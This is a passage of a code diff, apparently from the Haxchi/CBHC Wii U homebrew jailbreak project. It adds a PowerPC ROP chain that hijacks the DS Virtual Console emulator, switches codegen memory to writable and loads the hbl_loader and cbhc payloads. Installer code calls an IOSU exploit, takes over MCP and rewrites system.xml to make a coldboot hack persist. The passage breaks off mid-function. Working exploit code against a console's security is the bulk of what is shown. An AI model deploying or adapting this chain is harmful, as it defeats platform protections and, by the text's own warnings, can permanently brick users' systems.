||||
.incbin "haxchi_rop_hook.bin"
|
||||
arm7_data_end:
|
||||
|
||||
total_size:
|
||||
|
||||
.Close
|
269
dsrom/haxchi_rop_cb.s
Normal file
269
dsrom/haxchi_rop_cb.s
Normal file
@ -0,0 +1,269 @@
|
||||
.include "coreinit.s"
|
||||
.include "defines.s"
|
||||
|
||||
; more useful definitions
|
||||
HBL_LOADER_ADR equ (0x01800000)
|
||||
CBHC_ADDR equ (0x01808000)
|
||||
|
||||
NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000)
|
||||
NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000)
|
||||
|
||||
.macro set_sp,v
|
||||
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word 0xDEADBABE ; r30
|
||||
.word v ; r31
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR
|
||||
.word 0xDEADBABE ; r26
|
||||
.word 0xDEADBABE ; r27
|
||||
.word 0xDEADBABE ; r28
|
||||
.word 0xDEADBABE ; r29
|
||||
.word 0xDEADBABE ; r30
|
||||
.word 0xDEADBABE ; r31
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR
|
||||
.endmacro
|
||||
|
||||
.macro call_func,f,arg1,arg2,arg3,arg4
|
||||
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEADBABE ; r21
|
||||
.word 0xDEADBABE ; r22
|
||||
.word 0xDEADBABE ; r23
|
||||
.word 0xDEADBABE ; r24
|
||||
.word 0xDEADBABE ; r25
|
||||
.word 0xDEADBABE ; r26
|
||||
.word f ; r27 (ctr)
|
||||
.word arg4 ; r28 (r6)
|
||||
.word arg3 ; r29 (r5)
|
||||
.word arg2 ; r30 (r4)
|
||||
.word arg1 - 2 ; r31 (r3 - 2)
|
||||
; sp is here when LMW_R26R1x18 happens
|
||||
.word 0xDEAD0004 ; garbage
|
||||
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
|
||||
.word 0xDEAD0008 ; garbage
|
||||
.word 0xDEAD000C ; garbage
|
||||
.word 0xDEAD0010 ; garbage
|
||||
.word 0xDEAD0014 ; garbage
|
||||
.word 0xDEADBABE ; r26
|
||||
.word 0xDEADBABE ; r27
|
||||
.word 0xDEADBABE ; r28
|
||||
.word 0xDEADBABE ; r29
|
||||
.word 0xDEADBABE ; r30
|
||||
.word 0xDEADBABE ; r31
|
||||
; final sp is here
|
||||
.word 0xDEADBABE ; garbage
|
||||
.endmacro
|
||||
|
||||
.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6
|
||||
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word arg6 ; r21 (r8)
|
||||
.word 0xDEADBABE ; r22
|
||||
.word 0xDEADBABE ; r23
|
||||
.word arg1 ; r24 (r3)
|
||||
.word arg2 ; r25 (r4)
|
||||
.word 0xDEADBABE ; r26
|
||||
.word arg3 ; r27 (r5)
|
||||
.word arg4 ; r28 (r6)
|
||||
.word arg5 ; r29 (r7)
|
||||
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr)
|
||||
.word 0xDEADBABE ; r31
|
||||
; sp is here when LMW_R26R1x18 happens
|
||||
.word 0xDEAD0004 ; garbage
|
||||
.word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEADBABE ; r21
|
||||
.word 0xDEADBABE ; r22
|
||||
.word 0xDEADBABE ; r23
|
||||
.word 0xDEADBABE ; r24
|
||||
.word 0xDEADBABE ; r25
|
||||
.word 0xDEADBABE ; r26
|
||||
.word f ; r27 (ctr)
|
||||
.word arg4 ; r28 (r6)
|
||||
.word arg3 ; r29 (r5)
|
||||
.word arg2 ; r30 (r4)
|
||||
.word arg1 - 2 ; r31 (r3 - 2)
|
||||
; sp is here when LMW_R26R1x18 happens
|
||||
.word 0xDEAD0004 ; garbage
|
||||
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
|
||||
.word 0xDEAD0008 ; garbage
|
||||
.word 0xDEAD000C ; garbage
|
||||
.word 0xDEAD0010 ; garbage
|
||||
.word 0xDEAD0014 ; garbage
|
||||
.word 0xDEADBABE ; r26
|
||||
.word 0xDEADBABE ; r27
|
||||
.word 0xDEADBABE ; r28
|
||||
.word 0xDEADBABE ; r29
|
||||
.word 0xDEADBABE ; r30
|
||||
.word 0xDEADBABE ; r31
|
||||
; final sp is here
|
||||
.word 0xDEADBABE ; garbage
|
||||
.endmacro
|
||||
|
||||
|
||||
; hacked from arm7 ram offset (unsafe, game stack pointer)
|
||||
.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS
|
||||
.arm.big
|
||||
|
||||
rop_hook_start:
|
||||
;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop
|
||||
;call_func OSFATAL, 0x1007E7A8, 0, 0, 0
|
||||
; move stack pointer to safe area
|
||||
set_sp (rop_start - 4)
|
||||
.Close
|
||||
|
||||
|
||||
; original game arm9 ram offset (safe, normally arm9 code)
|
||||
.create "haxchi_rop_cb.bin", ARM9_ROM_LOCATION
|
||||
.arm.big
|
||||
|
||||
rop_start:
|
||||
; do hachihachi cleanups so we can use everything safely
|
||||
call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
|
||||
call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0
|
||||
call_func CORE_SHUTDOWN, 0, 0, 0, 0
|
||||
|
||||
; set up hbl_loader in core 0
|
||||
call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0
|
||||
|
||||
; the code below prepares the stack for the thread in core 0
|
||||
|
||||
; load memcpy jump into r3
|
||||
.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word MEMCPY ; r3
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; more r3 into r12 for our memcpy jump at the end of this
|
||||
.word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; prepare r31 to be a valid value for the next call
|
||||
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word 0xDEADBABE ; r30
|
||||
.word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call)
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; get r5 ready for the length we want to copy
|
||||
.word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR
|
||||
.word (core0rop_end - core0rop) ; r5
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; r30
|
||||
.word 0xDEAD0001 ; r31
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; get r4 ready for the data we want to copy
|
||||
.word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word core0rop ; r4
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; prepare r31 to be a valid value for the next call
|
||||
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word 0xDEADBABE ; r30
|
||||
.word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here)
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; loads the required value for the addition onto r3 later on
|
||||
.word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word (0x00800000 - 0x30 + 0xAFC) ; r7
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; r30
|
||||
.word 0xDEAD0001 ; r31
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; loads pointer to new thread sp into r3
|
||||
.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word (NERD_THREAD0OBJECT+4) ; r3
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; r3 contains new thread sp end after this load
|
||||
.word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; r3 contains code injection thread sp after this add
|
||||
.word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; r30
|
||||
.word 0xDEAD0001 ; r31
|
||||
.word 0xDEAD0001 ; garbage
|
||||
; jump to previously prepared r12 for memcpy
|
||||
.word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR
|
||||
.word 0xDEAD0001 ; garbage
|
||||
.word 0xDEAD0001 ; r31
|
||||
.word 0xDEAD0001 ; garbage
|
||||
|
||||
; thread stack is prepared after this point
|
||||
|
||||
; wait for hbl_loader to do its job
|
||||
call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
|
||||
call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
|
||||
|
||||
; prepare system for foreground release
|
||||
call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0
|
||||
|
||||
; instruct all 3 cores to release foreground to prepare mii studio app launch
|
||||
call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0
|
||||
call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
|
||||
|
||||
call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0
|
||||
call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0
|
||||
|
||||
; we are the main thread in core 1 so we call this direct
|
||||
call_func OSRELEASEFOREGROUND, 0, 0, 0, 0
|
||||
|
||||
; launch mii studio app
|
||||
.word _START_EXIT
|
||||
|
||||
core0rop:
|
||||
; switch codegen to RW
|
||||
call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0
|
||||
|
||||
; memcpy code
|
||||
call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0
|
||||
call_func MEMCPY, CBHC_ADDR, cbhc, cbhc_end - cbhc, 0x0
|
||||
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0
|
||||
|
||||
; switch codegen to RX
|
||||
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
|
||||
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0
|
||||
|
||||
; execute option_select in codegen
|
||||
.word CBHC_ADDR
|
||||
core0rop_end:
|
||||
|
||||
; core 0 thread params
|
||||
output0_string:
|
||||
.ascii "hax0thread"
|
||||
.byte 0x00
|
||||
.align 0x4
|
||||
|
||||
thread0_param:
|
||||
.word output0_string
|
||||
.word 0x00800000 ; stack size
|
||||
.word 0x00000010 ; thread prio
|
||||
.halfword 0x0001 ; thread affinity (core0)
|
||||
|
||||
; core 2 thread params
|
||||
output2_string:
|
||||
.ascii "hax2thread"
|
||||
.byte 0x00
|
||||
.align 0x4
|
||||
|
||||
thread2_param:
|
||||
.word output2_string
|
||||
.word 0x00800000 ; stack size
|
||||
.word 0x00000010 ; thread prio
|
||||
.halfword 0x0004 ; thread affinity (core2)
|
||||
|
||||
hbl_loader:
|
||||
.incbin "hbl_loader.bin"
|
||||
hbl_loader_end:
|
||||
|
||||
cbhc:
|
||||
.incbin "cbhc.bin"
|
||||
cbhc_end:
|
||||
|
||||
.Close
|
@ -1,3 +1,9 @@
|
||||
/*
|
||||
* Copyright (C) 2016 FIX94
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
#include <string.h>
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
|
@ -28,7 +28,11 @@ export OBJCOPY := $(PREFIX)objcopy
|
||||
# SOURCES is a list of directories containing source code
|
||||
# INCLUDES is a list of directories containing extra header files
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(CB),1)
|
||||
TARGET := cbhc
|
||||
else
|
||||
TARGET := haxchi
|
||||
endif
|
||||
BUILD := build
|
||||
BUILD_DBG := $(TARGET)_dbg
|
||||
SOURCES := src \
|
||||
@ -40,13 +44,18 @@ DATA := data
|
||||
|
||||
INCLUDES := src payload
|
||||
|
||||
ifeq ($(CB),1)
|
||||
DEFS := -DCB=1
|
||||
else
|
||||
DEFS :=
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS)
|
||||
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS)
|
||||
ASFLAGS := -mregnames
|
||||
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
|
||||
|
||||
@ -139,7 +148,7 @@ $(CURDIR)/payload/arm_user_bin.h:
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(CURDIR)/payload
|
||||
@rm -fr $(BUILD) $(CURDIR)/*.elf $(CURDIR)/payload
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/wupserver -f $(CURDIR)/wupserver/Makefile clean
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean
|
||||
|
@ -23,7 +23,10 @@
|
||||
#include "gameList.h"
|
||||
|
||||
static const char *sdCardVolPath = "/vol/storage_sdcard";
|
||||
|
||||
#ifdef CB
|
||||
static const char *systemXmlPath = "/vol/system/config/system.xml";
|
||||
static const char *syshaxXmlPath = "/vol/system/config/syshax.xml";
|
||||
#endif
|
||||
//just to be able to call async
|
||||
void someFunc(void *arg)
|
||||
{
|
||||
@ -121,7 +124,11 @@ int availSort(const void *c1, const void *c2)
|
||||
|
||||
void printhdr_noflip()
|
||||
{
|
||||
println_noflip(0,"Haxchi v2.2u1 by FIX94");
|
||||
#ifdef CB
|
||||
println_noflip(0,"CBHC v1.0 by FIX94");
|
||||
#else
|
||||
println_noflip(0,"Haxchi v2.3 by FIX94");
|
||||
#endif
|
||||
println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok");
|
||||
}
|
||||
|
||||
@ -297,6 +304,9 @@ int Menu_Main(void)
|
||||
redraw = 0;
|
||||
}
|
||||
}
|
||||
#ifdef CB
|
||||
int action = 0;
|
||||
#endif
|
||||
const parsedList_t *SelectedGame = &gAvail[PosX + ScrollX];
|
||||
for(j = 0; j < 2; j++)
|
||||
{
|
||||
@ -305,8 +315,14 @@ int Menu_Main(void)
|
||||
printhdr_noflip();
|
||||
println_noflip(2,"You have selected the following game:");
|
||||
println_noflip(3,SelectedGame->name);
|
||||
#ifdef CB
|
||||
println_noflip(4,"Press A to install CBHC, B to remove coldboothax, HOME to Exit.");
|
||||
println_noflip(5,"WARNING, INSTALLING CBHC CAN POTENTIALLY BRICK YOUR SYSTEM!");
|
||||
println_noflip(6,"NEVER UNINSTALL OR MOVE THE SELECTED GAME OR YOUR WIIU IS DEAD!");
|
||||
#else
|
||||
println_noflip(4,"This will install Haxchi. To remove it you have to delete and");
|
||||
println_noflip(5,"re-install the game. If you are sure press A, else press HOME.");
|
||||
#endif
|
||||
OSScreenFlipBuffersEx(0);
|
||||
OSScreenFlipBuffersEx(1);
|
||||
usleep(25000);
|
||||
@ -328,16 +344,38 @@ int Menu_Main(void)
|
||||
//lets go!
|
||||
if(vpad.btns_d & VPAD_BUTTON_A)
|
||||
break;
|
||||
#ifdef CB
|
||||
if(vpad.btns_d & VPAD_BUTTON_B)
|
||||
{
|
||||
action = 1;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
//will inject our custom mcp code
|
||||
#ifdef CB
|
||||
//grab this before doing iosu exploit
|
||||
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
|
||||
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
|
||||
unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0);
|
||||
char sysmenuId[20];
|
||||
memset(sysmenuId, 0, 20);
|
||||
sprintf(sysmenuId, "%08x%08x", (u32)((sysmenuIdUll>>32)&0xFFFFFFFF),(u32)(sysmenuIdUll&0xFFFFFFFF));
|
||||
char new_title_id[20];
|
||||
memset(new_title_id, 0, 20);
|
||||
sprintf(new_title_id, "00050000%08x", SelectedGame->tid);
|
||||
int line = 7;
|
||||
#else
|
||||
int line = 6;
|
||||
#endif
|
||||
|
||||
//will inject our custom mcp code
|
||||
println(line++,"Doing IOSU Exploit...");
|
||||
IOSUExploit();
|
||||
|
||||
int fsaFd = -1;
|
||||
int sdMounted = 0;
|
||||
int sdFd = -1, mlcFd = -1;
|
||||
int sdFd = -1, mlcFd = -1, slcFd = -1;
|
||||
|
||||
//done with iosu exploit, take over mcp
|
||||
if(MCPHookOpen() < 0)
|
||||
@ -353,6 +391,94 @@ int Menu_Main(void)
|
||||
println(line++,"FSA could not be opened!");
|
||||
goto prgEnd;
|
||||
}
|
||||
#ifdef CB
|
||||
if(action == 1)
|
||||
{
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0)
|
||||
{
|
||||
//read in system xml file
|
||||
fileStat_s stats;
|
||||
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
|
||||
size_t sysXmlSize = stats.size;
|
||||
char *sysXmlBuf = malloc(sysXmlSize+1);
|
||||
memset(sysXmlBuf, 0, sysXmlSize+1);
|
||||
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0);
|
||||
//verify title id
|
||||
int idFound = 0, idCorrect = 0;
|
||||
xmlNode *root_element = xmlDocGetRootElement(doc);
|
||||
xmlNode *cur_node = NULL;
|
||||
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
|
||||
if (cur_node->type == XML_ELEMENT_NODE) {
|
||||
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
|
||||
{
|
||||
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
|
||||
if(memcmp(new_title_id, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++;
|
||||
idFound++;
|
||||
}
|
||||
}
|
||||
}
|
||||
xmlFreeDoc(doc);
|
||||
free(sysXmlBuf);
|
||||
if(idFound != 1)
|
||||
println(line++,"default_title_id missing!");
|
||||
else if(idCorrect != 1)
|
||||
println(line++,"default_title_id not set to selected DS VC!");
|
||||
else
|
||||
{
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) >= 0)
|
||||
{
|
||||
//read in system xml file
|
||||
fileStat_s stats;
|
||||
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
|
||||
size_t sysXmlSize = stats.size;
|
||||
sysXmlBuf = malloc(sysXmlSize+1);
|
||||
memset(sysXmlBuf, 0, sysXmlSize+1);
|
||||
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "syshax.xml", "utf-8", 0);
|
||||
//verify title id
|
||||
int idFound = 0, idCorrect = 0;
|
||||
xmlNode *root_element = xmlDocGetRootElement(doc);
|
||||
xmlNode *cur_node = NULL;
|
||||
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
|
||||
if (cur_node->type == XML_ELEMENT_NODE) {
|
||||
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
|
||||
{
|
||||
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
|
||||
if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++;
|
||||
idFound++;
|
||||
}
|
||||
}
|
||||
}
|
||||
xmlFreeDoc(doc);
|
||||
if(idFound != 1)
|
||||
println(line++,"default_title_id missing!");
|
||||
else if(idCorrect != 1)
|
||||
println(line++,"default_title_id not set to System Menu!");
|
||||
else
|
||||
{
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0)
|
||||
{
|
||||
println(line++,"Restoring system.xml...");
|
||||
fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
println(line++,"Removed coldboothax!");
|
||||
}
|
||||
}
|
||||
free(sysXmlBuf);
|
||||
}
|
||||
else
|
||||
println(line++,"syshax.xml backup not found, aborting!");
|
||||
}
|
||||
}
|
||||
goto prgEnd;
|
||||
}
|
||||
#endif
|
||||
int ret = IOSUHAX_FSA_Mount(fsaFd, "/dev/sdcard01", sdCardVolPath, 2, (void*)0, 0);
|
||||
if(ret < 0)
|
||||
{
|
||||
@ -380,9 +506,14 @@ int Menu_Main(void)
|
||||
}
|
||||
|
||||
char sdHaxchiPath[256];
|
||||
#ifdef CB
|
||||
sprintf(sdHaxchiPath,"%s/cbhc",sdCardVolPath);
|
||||
#else
|
||||
sprintf(sdHaxchiPath,"%s/haxchi",sdCardVolPath);
|
||||
|
||||
#endif
|
||||
char sdPath[256];
|
||||
|
||||
#ifndef CB
|
||||
sprintf(sdPath,"%s/config.txt",sdHaxchiPath);
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0)
|
||||
{
|
||||
@ -407,6 +538,7 @@ int Menu_Main(void)
|
||||
}
|
||||
free(cfgBuf);
|
||||
}
|
||||
#endif
|
||||
|
||||
sprintf(sdPath,"%s/title.txt",sdHaxchiPath);
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0)
|
||||
@ -449,11 +581,10 @@ int Menu_Main(void)
|
||||
xmlSaveNoEmptyTags = 1; //keeps original style
|
||||
xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0);
|
||||
xmlFreeDoc(doc);
|
||||
free(metaBuf);
|
||||
if(newXml != NULL && newSize > 0)
|
||||
{
|
||||
//libxml2 adds in extra \n at the end
|
||||
if(newXml[newSize-1] == '\n')
|
||||
if(newXml[newSize-1] == '\n' && metaBuf[metaSize-1] != '\n')
|
||||
{
|
||||
newXml[newSize-1] = '\0';
|
||||
newSize--;
|
||||
@ -464,7 +595,7 @@ int Menu_Main(void)
|
||||
println(line++,"Changing game title...");
|
||||
//UTF-8 BOM
|
||||
char bom[3] = { 0xEF, 0xBB, 0xBF };
|
||||
if(memcmp(newXml, bom, 3) != 0)
|
||||
if(memcmp(newXml, bom, 3) != 0 && memcmp(metaBuf, bom, 3) == 0)
|
||||
fsa_write(fsaFd, mlcFd, bom, 0x03);
|
||||
fsa_write(fsaFd, mlcFd, newXml, newSize);
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
|
||||
@ -472,6 +603,7 @@ int Menu_Main(void)
|
||||
}
|
||||
free(newXml);
|
||||
}
|
||||
free(metaBuf);
|
||||
}
|
||||
free(titleBuf);
|
||||
}
|
||||
@ -568,7 +700,123 @@ int Menu_Main(void)
|
||||
free(bootSound);
|
||||
}
|
||||
|
||||
#ifdef CB
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0)
|
||||
{
|
||||
//read in system xml file
|
||||
fileStat_s stats;
|
||||
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
|
||||
size_t sysXmlSize = stats.size;
|
||||
char *sysXmlBuf = malloc(sysXmlSize+1);
|
||||
memset(sysXmlBuf, 0, sysXmlSize+1);
|
||||
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0);
|
||||
//change default title id
|
||||
int idFound = 0, idCorrect = 0;
|
||||
xmlNode *root_element = xmlDocGetRootElement(doc);
|
||||
xmlNode *cur_node = NULL;
|
||||
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
|
||||
if (cur_node->type == XML_ELEMENT_NODE) {
|
||||
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
|
||||
{
|
||||
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
|
||||
if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++;
|
||||
idFound++;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(idFound != 1)
|
||||
println(line++,"default_title_id missing!");
|
||||
else if(idCorrect != 1)
|
||||
println(line++,"default_title_id not set to System Menu!");
|
||||
else
|
||||
{
|
||||
int xmlBackedUp = 0;
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) < 0)
|
||||
{
|
||||
//write syshax.xml
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "wb", &slcFd) >= 0)
|
||||
{
|
||||
println(line++,"Writing syshax.xml...");
|
||||
fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
|
||||
xmlBackedUp = 1;
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
println(line++,"syshax.xml already found, skipping...");
|
||||
xmlBackedUp = 1;
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
}
|
||||
if(xmlBackedUp == 0)
|
||||
println(line++,"Failed to back up system.xml!");
|
||||
else
|
||||
{
|
||||
idFound = 0, idCorrect = 0;
|
||||
root_element = xmlDocGetRootElement(doc);
|
||||
cur_node = NULL;
|
||||
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
|
||||
if (cur_node->type == XML_ELEMENT_NODE) {
|
||||
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
|
||||
{
|
||||
